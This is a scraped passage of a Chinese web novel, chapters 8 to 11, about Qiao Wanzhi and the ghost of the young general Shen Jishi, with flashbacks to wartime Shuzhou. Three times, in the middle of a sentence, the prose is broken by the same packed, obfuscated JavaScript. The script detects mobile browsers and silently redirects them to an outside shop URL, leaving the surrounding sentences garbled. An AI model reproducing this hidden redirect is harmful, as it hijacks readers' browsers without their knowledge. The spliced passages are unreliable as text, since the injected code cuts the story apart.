“卿卿。”黑影再次开口,这一次,他语气中多了几分无奈:“许久未见,我想好好看看你。” 桥妧枝心尖狠狠一颤,几乎是来不及思考,就那么直直向前走去。 她也想见见沈寄时,很想很想,蜀州六年转瞬即逝,如今忆起仿若梦中,再回到长安的那些日子里,咫尺天涯,她再没有好好看一眼他。 祭品燃烧的余烬飘散在不大的庭院里,桥妧枝踩到院中枯枝,发出轻微的吱呀声。 下一秒,一只冰凉的手轻轻扣住她手腕。那是一种冰凉又潮湿的触感,如同刚刚从水中钻出的小蛇,缓缓缠上她的手臂。 她回头,不禁皱眉:“沈郎君?” 沈寄时没有看她,冷峻的眉眼满是狠戾,看着那团人形黑影冷笑道:“找死。” 桥妧枝意识到什么,连忙阻止:“不要!!!” 地上燃烧的铜盆突然飞起,火光四散,猛地向那黑影冲去。大火如同咆哮的野兽,黑影惨叫一声,瞬间奔逃溃散。 桥妧枝怔愣看着眼前这一切,突然挣扎着挣脱被他桎梏着的手腕,妄图在黑影消散前看最后一眼。 只是这世间虚无缥缈的东西太多,鬼怪本就是不可捉摸的东西。当四周归于寂静时,那点黑雾早就已经消散的干净。 桥妧枝歪头,冷冷看向身边人。 沈寄时察觉到她的视线,一偏头,对上一双水光潋滟的眸子。 他一怔,捏在她手腕的力道就那样不自觉地松开。 她生气了。 也不知是不是那些年她总是生气的缘故,因此他只看了她一眼,便察觉到她情绪不对。 他试图开口解释:“那并非女郎要找的人,逝者身躯与天地同归,即便是做鬼也不会缠绕黑雾,那是生魂。” 生魂,肉身尚在,只是魂魄脱离,有魂无形。 “那又与沈郎君有何干系呢?” 沈寄时眉头紧皱,有些恼火:“女郎心如明镜,那人是否是女郎要寻的人,女郎早已知晓。” 她当然知晓,从踏进这个院落,她就已经有所察觉,可是...... 桥妧枝转身不去看他,过了很久,方才出声:“沈郎君,你走吧。” 沈寄时薄唇抿成一条直线,双手紧握成拳:“你说什么?” “你走罢。” 桥妧枝神色冷然,语气重了几分,“我不需要一只鬼时时在我身边,更不需要一个萍水相逢的陌生人来干涉我的事!长明灯不日便会摆进古楼观,阴德的事情,我也会一直放在心上。” 她要赶他走,就为了一个明知是假的孤魂野鬼? 沈寄时神色也不由冷了几分,垂眸看了她好一会儿,转身就走。 鬼魅向来来无影去无踪,不消片刻,这里只剩下桥妧枝。她立在原地发了一会儿呆,还未从巨大的失落中回过神来。 再也没有什么,比给了希望却又失望更令人难过了。即便,她早就已经做好了接受任何结果的准备。 — 天边泛起鱼肚白时,兴宁坊渐渐热闹起来。 郁荷打着哈欠敲了敲桥妧枝房门,低声询问:“女郎,醒了吗?” 等了许久无人回应,郁荷一个机灵,连忙又拍了拍门,“女郎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460524|141701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女郎你在屋内吗?” 一连叫了好几声,郁荷几乎将耳朵贴在了门框上,也没有听到里面的动静。 郁荷心一沉,正要推门,肩膀却突然被人拍了一下。 她猛地回头,却见桥妧枝抱着狸奴站在身后,身上沾了些水汽,正歪头看她。 郁荷愣了一下,诧异道:“女郎,你怎么起得这样早!” 桥妧枝唔了一声,顺手摸了摸怀中狸奴细软的毛,“小花最近总是闹腾,天未亮就跑了出去,我去寻他了。” “秋日清爽,小花应当是出门寻小母猫了。” 郁荷接过她手中的猫,看到她裙角的灰尘,呀了一声,“女郎裙摆脏了。” 桥妧枝低头看了一眼,面不改色编瞎话:“应当是抓小花时不知在哪里沾上的。” 怕郁荷再问,桥妧枝推开门,踏进一夜未曾住人的闺房。 踏进门槛的瞬间,她视线落在窗前,脚步微顿,目光茫然。 ‘沈寄时''身穿一身束腰交领袍,腰间玉带紧扣,长发束成马尾,正抱臂斜靠在窗边。 “桥脉脉。”他勾了勾手指,剑眉轻挑,清俊的脸上勾起一抹笑,“说吧,谁又惹你生气了,我帮你教训他。” 桥妧枝看着眼前的幻觉,后知后觉地意识到,她似乎很久没有出现有关“沈寄时”的幻觉了,可她竟然如今才察觉到。 她没动,一直等到幻象再次消散,这才走到桌案边去够茶杯。 “郁荷姐姐。”她低头抿了一口水,刚要说话,余光却瞥见书案之上被摞成小山的书籍。书案左侧一片空白,右侧却满满当当,明显是被人收拾过的。 这样的手法…… 桥妧枝捏紧茶杯,她不是没有见过。 “郁荷姐姐。”她看了许久才找回自己的声音,“书案是你整理过的吗?” 郁荷抬头看了一眼,疑惑地摇了摇头,“不是奴婢整理的,上次整理还是在昨日午间,兴许是夫人。” 昨日午间…… 她回来时,已经是傍晚了…… “郁荷姐姐。”她深吸有一口气,道:“劳烦你今日,替我送一封信至十二皇子府中。” 9. 第 9 章 承平二十四年,蜀州。 正是寒冬,青城山上大雪纷飞。雪鹀立在光秃秃的寒枝上,被突如其来的马蹄声惊起,纷纷四散飞去。 沈寄时与李御纵马并辔,行至山腰积雪处,方才勒紧缰绳停下。 李御翻身下马,用剑锋将最近一块岩石上的积雪扫下,撑着最后一点力气坐上去,直接仰倒。 冬日少晴天,尤其赶上山中大雪纷纷时,仰头一望,一片苍茫。 “再这么下去,我剑都要拿不动了。” 连日大雪,山路难走,他们几乎将青城山窜了个遍,奔波数日方才绘制大致地形,可这还远远不够。 沈寄时扫了他一眼,跃下马背,看向巍巍青山,重峦叠嶂,群山连绵,一眼望不到头。 他解下身上的兽毛大氅,仅穿一件圆领窄袖袍,提起长枪,在雪地上绘出刚刚所见的地形。 山路崎岖多变,绘制起来尤其复杂,少年全神贯注,动作利落,仿佛感受不到冷。 李御啃了一口凉透的馍,又从怀里掏出一个丢给他。 沈寄时头也不抬,一把接过,单手剥开包裹着馍的油皮纸,咬了一大口,囫囵就往下吞。 李御看笑了,狠狠咬了一口干馍,恼火道:“这过得什么日子,比在长安时差远了!” 可不是差远了,长安盛世,万方来朝,天下宾客来来往往,数不胜数。 可这都已经是四年之前的事情了.......如今,就连他这个皇子,也不过是徒有虚名。 沈寄时看了他一眼:“你也知道之前是在长安,现在,是蜀州。” “对,我们在蜀州,蜀州。” 李御抹了把脸上的冰雪,想到什么,看向雪中青衫落拓的少年,问:“明日就是除夕,你下不下山?听说今年山下很是热闹。” 沈寄时收枪,毫不犹豫:“不下。” 李御:“确定今年还不回去,前不久桥姑娘好像差人带了口信,让你今年尽量能下山过除夕。” “山中地形还未绘制完成,若是东胡人来了,打个措手不及谁负责?” 李御啧了一声,从怀中掏出地形图,照着沈寄时刚刚画在雪地上的开始临摹,一边临摹一边道:“你不下山,桥姑娘说不定会生气。” 沈寄时没说话,一摆衣袍,摘下腰间水壶,盛了满壶枝头雪。冰凉刺骨的雪水顺着喉咙入肚,纵是习武之人火气旺,瞬间也能凉下半个身子。 冰水顺着他锋利的下颌滑落,少年锐利的眸子望向西北,眼中是熊熊燃烧的野心。 少年声音掷地有声,响彻山野:“我要早日带她回长安。” 大雪过后便是连日晴天,山上积雪融化时,已经是二月底。 青城山的地形图终于绘制好,东胡暂时被拦截在蜀州之外,大梁驻扎在青城山的军队终于得以短暂喘息。 军营里摸爬滚打的十二皇子眼巴巴看着沈寄时下山,一边喊着让他带回来一只烧鸡,一边被众人拖回校场过招。 沈寄时当作没听见他的哀嚎,连夜下山入城,第一时间赶去坐落在青城县小巷的桥府。 蜀州的青城县成了大梁王朝的避难所,无论以前在长安是多大的官,如今能在此地偏安一隅已是万幸。 沈寄时立在桥府门前,听门口的家丁说话。 “女郎天刚亮就出门了,应当要等好一会儿才回来,要不郎君先进去坐坐。” 沈寄时剑眉一挑,“不必,你可知她去哪儿了?” 青城县才多大,找人还不好找? “应当是去了城西。”家丁挠了挠头,想了想道:“也可能是城北。” 顿了顿,显然还是不大确定。 沈寄时懒得听了,转身就走。 他脚程快,先去了一趟城西,没寻到人,又转头去了城北。 城北人来人往,沈寄时抱臂站在街边的石磨上,目光在人群里不断逡巡。 还是没人。 他没什么耐心地啧了一下,正要跳下石磨去城东,不想一转身,看到转角处立着一抹熟悉的身影。少女察觉到他的目光,缓缓转头,与他隔空对望。 沈寄时一怔,惊觉几月不见,她好像又长高了不少。 忍不住咧嘴一笑,下一秒,与他对视的少女就移开了目光,好似没看见他一般。 沈寄时笑容僵在脸上,顺着她视线看去,这才发现她身边还有一个锦衣华服正侃侃而谈的郎君。两人并肩而行,看起来很是亲密。 沈寄时冷冷看着她们,一直看到两人说笑着从他面前走过,桥妧枝还是没有分给他一个眼神。 心情糟糕透了,沈寄时指骨嘎吱作响,冷哼一声赌气要走。却不想刚转身,余光见那男子不知说了什么,少女脸色陡然一白。 他皱眉,眼睁睁看着那色眯眯的郎君伸手去摸桥妧枝肩膀。 沈寄时眸光一沉,突然跳下石磨,大步冲去。 与此同时,锦衣郎君从桥元枝肩膀上捏出一只小蜘蛛,重重松了口气。他亮出掌心中的蜘蛛,憨厚笑笑:“女郎不必害怕,这东西已经被抓住了,必不会——” 话还未说完,后领陡然被人拎起,那郎君还未看清眼前景象,就被一记重拳打得晕头转向。 锦衣郎君捂着眼睛,看着眼前一脸凶神恶煞的少年,惊得连连后退:“你....你是谁?你怎么打人啊你,我要报官!” 沈寄时冷笑,一脚将人踢到在地,揪着男子的领子将人上半身拎起,“报官?你这种龌龊的纨绔子还敢提与我提报官?” 城北长街宽阔,行人来往众多,他们的动静太大,很快就有人奔逃着退至一边。 桥妧枝回过神来,上前抓住沈寄时手腕,不可置信地睁大眸子:“你做什么!” 正是冬日,少女鼻尖竟沁出汗意,一个跨步挡在锦衣郎君面前,不让他动手。 沈寄时面色一寒,伸手将她拽到自己身边,冷声道:“他欺负你,你还护着他!” “谁告诉你他欺负我了?” 桥妧枝看到躺在地上疼得哎呦哎呦的郎君,一时气急,怒目圆睁:“沈寄时,你怎么不分青红皂白就打人?” 几月不见,他们都变了不少。少女又长高了许多,如今已经能到他下颌处,那双眼睛明亮非凡,好似更漂亮了。而沈寄时,接连几日风餐露宿,比上次见面清瘦憔悴了不少。 两人立在街上对视,都从对方眼中看到了不断翻涌的情绪。 他们表情都不大好,沈寄时率先移开目光,不服气道:“怎么就不分青红皂白?他刚刚不是在占你便宜?我不过是几个月没有下山,你何时认识了这种人,还与他闲逛?!” 说完,许久没有等到桥妧枝呛声,沈寄时猛地转头,却见少女薄唇紧抿,双颊气得通红,“你也知道你几个月没有下山,除夕那日,我在城门口等了你一天。” “军中事情紧急,东胡蠢蠢欲动,难不成我还要下山过什劳子除夕?” 这是重点吗? 桥妧枝气急,转身将躺在地上的郎君扶起来,小脸紧绷:“活不投机半句多,赵郎君并非你说的那种人,刚刚他是在帮我捉虫,并非是占便宜,你要和他道歉!” “不.....不必了......桥姑娘,还是算了吧。”赵郎君惶恐,生怕这个浑身冒火气的少年再将他给打一顿。 他不说话还好,一说话就好似捅了炸药包。 沈寄时右手死死握住剑柄,冷笑:“让我和他道歉?不可能!” 桥妧枝冷脸:“你不分青红皂白打人,凭什么不道歉!” 沈寄时猛地转身背对她,怒气冲冲道:“别以为你让我道歉我就道歉,桥妧枝,你到底向着谁?” 等了许久没有听到身后再有人出声,沈寄时转头,看到桥妧枝早就已经扶着那个赵郎君一瘸一拐地离开了。 沈寄时脸色铁青,扭头就走。 回到沈府时,家中无人,沈寄时泄愤般将长枪插进地里,直接进屋睡觉,一睡便是一整日。 青城县不大,城北有人街头斗殴的事情不消片刻便传遍大街小巷。 沈寄时醒来时已是傍晚,月色清辉,照在庭院中仿佛落了满地白雪。 他衣衫单薄出了屋子,抬眼一看,庭院中央撒了一撮一撮的稻谷,黑色的织网大咧咧扣在上面,若是不仔细看还真看不到。 沈萤鼻尖被冻得通红,看到他出来,嫌弃道:“都怪你,把我的家雀儿都吓跑了。” 沈寄时漫不经心扫了她一眼:“本来你也抓不到,这东西青城山多的是,下次给你捉一只。” “重要的是捉雀的过程,谁要你的破麻雀。” 沈寄时懒得理她,转身去厨房寻吃的。 沈萤搓了搓手,跟上来,幸灾乐祸道:“我今日在学堂听说了一件事,说是白日有人在城北街头斗殴。” 沈寄时皮笑肉不笑,一把将凉了的鸡腿塞她嘴里。 “唔!”沈萤咬了一口鸡腿,一边嚼一边道:“可怜小桥姐姐,连日为了军粮奔波,某人还不识好人心。” 沈寄时皱眉,表情严肃:“什么军粮?” “东胡人占领长安,大梁退居蜀州,去年蜀州以南收成不好,粮食征收不上来。年前,淮南来了一户粮商,在蜀州逗留了许久,小桥姐姐听说了,一直在其中周旋。” 军粮告急的事情沈寄时早就知道,但是—— “军粮的事情朝廷没有派人解决?”他下颌绷紧,“那个赵郎君就是淮南粮商?朝中那些人难不成都是吃干饭的,这是什么好事不成,还要相国家的女郎来费心周旋!” 沈萤不懂朝廷的事情,只摇了摇头,咬下最后一口鸡腿,小声道:“军粮的事情与你息息相关,小桥姐姐又是相国大人的女儿,想要出一份力也无可厚非。兄长,你还是去给小桥姐姐道个歉吧。” 沈寄时没啃声,阴沉着脸也不知在想什么。 厨房门被人从外面推开,身穿戎装的妇人走进来,看着两人在厨房啃鸡腿不由得叹气。 沈萤呀了一声,扑过去兴高采烈道:“娘亲!” 沈寄时跟着喊了一声:“娘。” 将军身上的铁甲尚带着夜间的寒气,她伸手卸下腰间长剑,对沈寄时道:“白日的事情我都已经听说了,如今朝中无人,军粮的事情确实有疏漏,我会亲自派人处理。” 沈寄时偏头,不说话。 将军看着眼前十六岁的少年,惊觉自己似乎已经苍老了很多。 “沈寄时。”她声音威严,俨然一副严母的样子,“只解沙场为国死,何须马革裹尸还。你赌一时之气,等哪日真到了马革裹尸的一天,后悔都来不及。” “娘!”沈萤眼皮重重一跳,觉得这话实在是不吉利。 沈寄时咬牙,突然起身,头也不回地出了厨房。 “哥,你去哪儿?” 将军的声音在身后响起:“回来穿衣服!别到时候没死在战场上,先被冻死了。” 沈寄时脚步一顿,回身拿起氅衣就走。 子时的更声响起时,沈寄时正坐在桥府的墙头上看月亮。 青城县与长安不同,这里地方太小,做不到长安那般夜间灯如昼,一入夜,便静的可怕。 桥府的小院漆黑一片,他枕着手臂依靠在墙边,冬日冷风一吹,就不可避免地打了几个喷嚏。 少年轻嗤一声,浑不在意,只看着桥妧枝漆黑的窗户,渐渐睡着了。 清晨。 北风卷来了温和的晨曦,日光照在身上,送来了几分暖意。 桥妧枝没睡好,眼睛都肿成了核桃,一醒来,便第一时间打开窗子透气。 阳光刺眼,她双眸眯起,却在开窗的一瞬间蓦然睁大。 少年立在窗前,下颌冒出一小圈青色的胡茬,身上的氅衣皱巴巴的,还没说话,就率先打了几个喷嚏。 桥妧枝抿唇,偏头不去看他:“你来做什么?” 沈寄时吸了吸鼻子,声音有点哑,本来想要道歉,说出来的却是:“能给我倒杯热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460525|141701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水吗?” 见她不动,沈寄时又道:“我昨晚在墙头睡了一整夜,夜里风大,应当是——阿嚏——应当是感冒了。” “谁让你呆一整夜的!”桥妧枝倒吸一口气,小跑着给他倒来热水。 热水比雪水可好喝多了。 沈寄时抱着茶杯喟叹,余光看到桥妧枝的冷脸后,又悻悻低咳一声,“我......” 桥妧枝抬了抬眼皮,藏在乌发后的耳朵忍不住动了动。 “我——” “沈寄时!”石破天惊的急切声音在身后响起。 沈寄时猛地转身,却见李御骑在高高的战马上,神色焦急:“东胡有变!快回营地!” 沈寄时脸色一变,第一时间看向桥妧枝,欲言又止。 “愣着干嘛!还不快回去!”桥妧枝推了他一把,示意他快走。 没有犹豫,少年直接跃上战马,单手勒起缰绳,仰头坚定道:“桥脉脉,你等我回来,回来我给你好好道歉,怎么道歉都成。” 少女的神色在阳光下有些看不清,他甚至来不及仔细看,就长鞭一挥,向青城山飞驰而去。 只是,有些事情一旦错过时机就再也说不出口,大梁军队打出蜀州,一路势如破竹打回长安,这件事却仿佛被他们遗忘在角落中,谁都没有翻开。 — 沈寄时一如五年前一般坐在墙头看月光,与当年不同的是,他如今是真正的“只解沙场为国死”。 他在外面呆了一整日,手中的折扇早就已经变回了止危枪,他摸着枪头嗤了一声,好似想通了什么,施施然起身,沿着来时路往回走。 周遭孤魂野鬼因他身上煞气纷纷退避三舍,一时之间,月色盈盈,前路宽阔。 — 桥府此时大门敞开,正是灯火通明。 桥妧枝抱着药盅小口抿药,小花在她膝头蹭了蹭,睡得香甜。 这一盅药喝了都快半个时辰,桥夫人看着上火,又不好催,只能眼巴巴盯着。 桥妧枝被看得难受,放下药盅,小声辩驳:“娘,我没什么事。” “没什么事能睡一整日?这药大补,乖乖喝了,阿娘明日给你买酥糖回来吃。” 桥妧枝被逗得啼笑皆非,很想说她睡了一整日是因为一夜未睡。只是这话万万说不得,她只能继续对这药盅磨时辰。 桥大人进来时看到的就是这么一幅场景,忍不住皱眉:“怎么又喝药,没病也要喝出病来。” 桥夫人懒得理他,阴阳怪气问:“相国大人还有心思管家里?今日做什么去了,整日也不归家,莫不是外面有什么吸引人的好东西?” 老夫老妻的吵起来却没完,桥大人冷哼一声,坐到太师椅上,捋着胡子道:“今日本想和同僚去看明年春闱学子的诗会,不成想出了岔子。前几日老夫夸赞的张姓后生生了病,未能前来。” 桥夫人问:“那个张渊?” “是他。”桥大人抖了抖衣袖,眼中满是欣赏,“那人的文章,我与一众同僚都看过。针砭时弊,一阵见血,颇有前朝程林之遗风。如今大梁人才凋零,正是缺人之际,若是不出差池,明年春闱,大梁就能得到一个不可多得的人才。” “当真这么有才华?” 桥大人得意:“那是自然,我桥玹看人从未出错。” 桥夫人听得欣喜,一时之间忘了还在与补药磨时辰的桥妧枝。 于是桥妧枝抱着小花,神不知鬼不觉出了前厅。 只是还未来得及松口气,一转眼,就这么近距离对上了一张青白色鬼脸。 桥妧枝一抖,脸色煞白。 “女郎。” 女鬼声音飘渺,眼角渗出鲜血,悠悠扯出一张似哭似笑的脸,格外渗人。正是昨夜的女鬼。 怀中小花猛地炸起毛,挣扎着想跑,桥妧枝死死按住,背后却出了一层薄汗。 她没出声,镇定下来,脚步虚浮地往自己院中走去。 女鬼飘在她身后,发出低低的啜泣声,随她回了院子里。 桥妧枝将小花关进门内,不动声色在手中握了一张符篆,这才看向低声抽泣的女鬼,冷声问:“娘子跟着我做什么,是有什么事情,需要我帮你吗?” 抽泣声戛然而止,女鬼抬头,血泪滚下:“是有一事,需要女郎帮忙。” “你说。” 女鬼诧异,一时之间忘了哭,“女郎就不先问问是什么事?” “若是能帮,自然会帮。” 女鬼连忙道:“并非是难事,我死得突然,家中尚有一小妹,还未及笄,日子过得辛苦。我曾在房梁之上藏了十贯银钱,希望能告知小妹,免去她艰辛之苦。” “就这么简单?” “就这么简单。”女鬼惨然一笑,“乱世之中,身似浮萍。鬼差来拘那日,我因逗留人间,错过了入酆都的时辰,如今成了孤魂野鬼,便是托梦都托不得。女郎心善,允我附身与家中小妹道别,奴家感激不尽,来日当牛做马,以报恩情。” 桥妧枝蹙眉:“我何时允你附身?” 女鬼一顿,血泪又是滚滚而下,“女郎......” 桥妧枝不为所动,不经意间将手中符篆露给女鬼看。 女鬼瑟缩一下,连忙道:“并非一定要附身,写信便可,写信便可,奴家住在长宁坊高角巷,本姓孙。” 桥妧枝扯了扯唇角,嗯了一声,转身进了卧房。 这边是答应了。 女鬼在门口站了一会儿,长叹一声,悠悠离去。 烛光亮起,桥妧枝跪坐在垫子上,看着桌案发呆。她没让人再动过这里,只是有些事情,她太过疑惑,怎么都想不通。 窗外突然想起扣窗声,桥妧枝蹙眉,以为女鬼还不死心,脸色不由得冷下来。 本不欲去管,只是扣窗声不停,实在恼人,她还是起身去开窗。 “你——” 声音戛然而止,桥妧错愕。 沈寄时立在窗外,与她对望:“女郎。” 10. 第 10 章 星河高悬,月华透过合欢树交错的枝丫落在窗前,映照出点点萤光。 今夜明明无风,可桥妧枝立在窗前,却觉得头顶轻枝摇晃,犹在梦中。 “女郎。”沈寄时声音带了些沙哑,衬得夜间越发萧索。 他张了张唇,想要道歉,又不知该从何处说起。来时的路上说辞想了千百遍,但是等到真的面对她时,又有些语塞。 “我——” 周遭寂静,气氛莫名沉闷。 “沈郎君。”桥妧枝缓缓出声。 “女郎先听我说!”沈寄时深吸一口气,看着她,哑声道:“昨夜之事是我冲动,那本就是女郎私事,我...不该不顾女郎的意愿过多干涉,抱歉。” 寂静无声,少女没有说话,只仰头看着他,怔怔不知在想什么。 月光透过缝隙落在她浓黑如云的发间,照得那朵淡黄色绒花都泛起一层萤光。 沈寄时原本紧张的情绪突然安宁下来,就那么隔窗看她。有一瞬间,他仿佛有种能够看她很久很久的错觉。 他呆呆看了许久,直到少女发出一声轻笑,唤回了沈寄时游离的思绪。 “沈郎君。”她抬眸看着他,眉眼柔和:“还是第一次有人这么郑重地与我道歉,你或许不知道,我一直等的那个人,以前总是惹我生气。” 沈寄时藏在袖中的手猛地握紧,听她失落道:“但是,他从未对我说过一声抱歉。” 是了,他们争执那么多次,一双手都数不清,可他却从未郑重说一句抱歉。 心脏仿佛被人重重捶了一下,沈寄时哑声道:“或许那个人,实在不值得让女郎等那么久。若是可以,女郎多忆些他的不好,兴许就能早日放下。” 桥妧枝长睫微颤,不置可否,转而道:“其实昨夜的事也绝非郎君一人之过,我也有错。郎君是出于好心,我明知那人并非是我要找的人,却因为那一点万一以身犯险,郎君明明帮了我,却还被我赶走,我也实在是不识好人心。” 沈寄时哑然:“并非是这样。” 她轻笑,垂眸看向他的手,突然问:“郎君会作画吗?” 自然是会的,沈寄时出身将门,自小精通六艺,不然当年绘制地形一事,也不会落在他与李御身上。 沈寄时回道:“以前家中请先生教过一段时间,应当算是会的。” 桥妧枝心中一动,转身走到桌案前,拿出一张宣纸对他道:“有个不情之请,郎君能将昨日所见画下来吗?” 沈寄时看了一眼宣纸,没有问她缘由,接过她递来的狼毫,点了点头。 桥妧枝眸光微闪,主动为他研墨。 墨香晕染,在清水中四散开来。 沈寄时立在桌案前,笔锋一触宣纸,突然福至心灵,看向低头忙碌的桥妧枝。 察觉到她的目光,桥妧枝面露疑惑:“怎么了?” “没什么。” 沈寄时勾起一丝不被人察觉的微笑,笔锋一转,洋洋洒洒开始落墨。 桥妧枝研墨的动作越来越慢,她目光在宣纸上停留地太久,渐渐发起呆来。 直至尾声,沈寄时出声提醒:“女郎,画完了。” 桥妧枝回神,连忙看向画纸,只见上面只能隐约能看出一个人行形,真要论起来,说一句惨不忍睹也不为过。 与沈寄时的画一点都不像。 她静了好一会儿,突然问:“郎君......不是学过作画吗?” “是学过。”沈寄时看到她不可置信的表情,睁着眼说瞎话:“请的是城中有名的杀猪匠,听闻那人杀猪之前做过夫子,很会画画。” 桥妧枝:“.......” “女郎是觉得我画的不好吗?” “是...是很会画画。”她眸中闪过失落,心中乱烦,回答的驴唇不对马嘴。 看着画纸,她指着人形头部上的一个黑点,心不在焉地问:“这是郎君滴下来的墨汁吗?” 沈寄时眸光一顿,解释:“这是那人脸上的一颗痣。” 桥妧枝点了点头,却突然想到什么,猛地抬头看他,“你看得到他的脸?” 沈寄时意识到什么,眸光一沉:“你看不到他的脸?” — 昨天夜里明月高悬,后半夜却滚了一晚上秋雷。 清晨,长安百姓出门一看,预料之中的未曾落雨,一时之间一片唉嘘。 茶楼酒肆不再妄谈天家事,只是偶尔对着苍穹发出几声叹息。即便是街头的黄口小儿都知道,这样下去必然动摇国之根本,只是老天爷不下雨,当今圣上又一意孤行,谁也没有办法。 几个书生坐在茶楼靠窗一侧向下眺望,兴致缺缺看着长安街头景象。大家都知道,与之前比,如今的长安已经远不如从前了。 一人饮了口茶,对立在窗前看景的青衫男子道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460526|141701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张君如今身体可好些了,真是不巧,好端端地怎就生了病,正好错过前日诗会。” “前些日子患了暑热之症...咳咳......今日还未能好全。” 那人叹息:“那真是可惜,不然凭借张君的才能,定然能凭借前日的诗会在长安扬名。” 张渊扯了扯嘴角,目光扫过长安百姓,叹道:“不敢,十年寒窗不为扬名立万,所求不过是为天地立心,生民立命。” 那人大笑:“张君以天下苍生为己任,我等甘拜下风。张君,今日外面有风,你病体未愈,还是过来喝杯茶吧。” 张渊目光缓缓收回,转身拱手道:“这便来了。” 茶楼喧闹,种种声音交织在一起,响彻长街,有一瞬间,好似又回到了数年前的盛世长安。 桥妧枝行在街上,脚步一顿,突然仰头望向茶楼。 不知是不是错觉,刚刚有一瞬间,她觉得有人在楼上看她。她不知这是不是错觉,毕竟茶楼观景之人众多,兴许只是陌生人短暂的目光停留。 想通了这一点,桥妧枝回过神,撑伞继续往高角巷走去。 长宁坊坐落在长安城边缘的地段,其中高角巷便是坊间最重要的主巷,内里人家众多,行人往来不断,最是喧嚣热闹。 沈寄时立在伞下,不知她为何会来这里,只是她不说,他便也没有问,只乖乖看着少女与转角处的大娘问话打听。 “你打听孙家?是哪个孙家?” 桥妧枝迟疑了一下,道:“是尚有一未及笄小娘子的孙家。” “原来是她们。”卖菽乳的大娘在裲裆上蹭干净手,上下打量了她一眼,才指着巷子道:“一直往里走,转角处最破落的一个木门就是了。” “多谢。”桥妧枝从袖中掏出一锭银钱,放到大娘摊位上,转身照着大娘指着的方向走去。 大娘一愣,粗糙的手掌动了动,最终没有说什么。 孙家的木门确实破旧,桥妧枝站在布满裂缝的门前,听到里面传来噼里啪啦的劈柴声,她听了一会儿,上前扣门。 “谁啊?” 粗旷的属于男子的声音在门内响起,很快,劈柴声停了,门内又响起急促的脚步声。 桥妧枝皱眉,不是说,家中只剩下一个小妹了吗? 正想着,木门吱呀一声从里面打开,开门的男子看到桥妧枝的瞬间便是一怔。 “桥姑娘?!” 11. 第 11 章 桥妧枝的记性说不上很好,至少没什么过目不忘的本领,可是眼前人,她却记得尤其清楚。 那是承平二十六年的秋日,北风肃杀,遍地枯黄。 东胡节节败退,大梁从蜀州一路打回长安,屯兵在长安城外灞水以南。 她随父母暂居咸阳,只等大军破城,随圣上一同回到故土长安。只是这一等,就是数月。 十一月中旬的一日,天未亮,咸阳行宫突然烛火通明。 她猛然惊醒,听见连廊之上脚步声纷杂,吵闹声渐起。 “长安城破了!长安城破了!” 宦官的声音响彻咸阳行宫,不同于六年前的哀恸,如今显得格外振奋。 长安城破了,她们可以回家了! 她呆呆听着外面呼喊,还没回过神来,便被阿娘拽着向外跑去。 外面一片火光,禁军举着火把穿梭在行宫连廊上,她跟着爹娘上了城墙。城墙上早就已经站满了人,大家痴痴望着长安的方向,喜极而泣。 东边泄出一线天光,寒风凛冽,刮在身上犹如刀割。她站在众人身后,看到远方冲天火光,只觉得心跳如雷,越来越不安。 她不知自己站了多久,直到双手被冻得几乎没知觉时,周遭突然有了动静。 城墙下,马蹄声惊破尘嚣,写着沈字的军旗嘶吼着破风而来。她几乎是第一时间冲到城墙边,拼尽全力向下望。 来人手握军旗滚下马背,身上甲胄滚满泥土,却撑着从地上爬起,抱拳痛声嘶吼:“陛下!裴将军殁了!裴将军——殁了——” 裴将军裴雲,上将军沈烈的发妻,沈小将军沈寄时的母亲,十六岁随父征战沙场,战功无数,却在与东胡的最后一战中,被东胡人一箭穿心,殁于故土长安。 这一场战乱,无数人流离失所,家破人亡。就连沈寄时与沈萤,从今日起,也没有家了。 喧嚣远去,风卷军旗发出烈烈声响。 桥妧枝只觉脑中一片空白,什么都听不见了。双手死死扒在城墙上,双目充血,生生记住了城下报信之人的脸。 即便那人满面尘霜,一身鲜血。 记忆中那张脸与眼前人渐渐重合,桥妧枝立在破旧的木门外,长睫抖动的厉害。 许久,她找回自己的声音,看着眼前黝黑的青年,“彭校尉。” 男子先是诧异,随后眸中闪过一丝复杂,摇头道:“只是跟随沈小将军时与女郎有一面之缘,没想到女郎竟记得,只是我如今已经不是校尉了。” 数万将士埋骨浮屠峪,威名在外的沈家军早就已经不复存在,他们这些侥幸活下来的人,早就已经失去了当初的傲骨。 青年将桥妧枝迎了进去,对着蹲在院中分柴的女郎道:“阿蓼,有贵客来了,快去泡一壶茶。” 被叫做阿蓼的少女站起身,打量了桥妧枝一眼,匆匆跑去屋内泡茶。 桥妧枝这才注意到这位名叫阿蓼的少女实在是瘦得过于可怜了些,应当就是那女鬼口中的小妹。 